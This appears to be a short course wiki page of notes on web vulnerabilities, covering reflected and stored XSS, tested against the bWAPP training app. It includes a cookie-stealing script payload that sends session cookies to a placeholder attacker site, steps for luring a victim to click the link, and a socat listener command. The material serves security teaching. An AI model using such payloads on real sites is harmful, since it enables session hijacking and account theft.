App Vulnerabilities: XSS, CSRF, and Clickjacking - Paiet/SEC-335 GitHub Wiki
Cross-site scripting (XSS)
Reflected
XSS exploits data that is reflected back to the user
Test bWAPP for XSS with Javascript ALERT*
Exploits
Browser Redirection & Cookie Stealing
Use Javascript to steal session cookies
Craft URL with reflected XSS
<script>location.href'http://www.evilsite.com/bogus.php?cookie='+document.cookie;</script> 3. Use Social Engineering to trick user into clicking link 4. Check listener for connection 5. Use SOCAT 6. socat TCP-LISTEN:80,reuseaddr,fork -
Stored/persistent
Script gets stored on the DB or Web Server
Anywhere user input would persist as apart of the page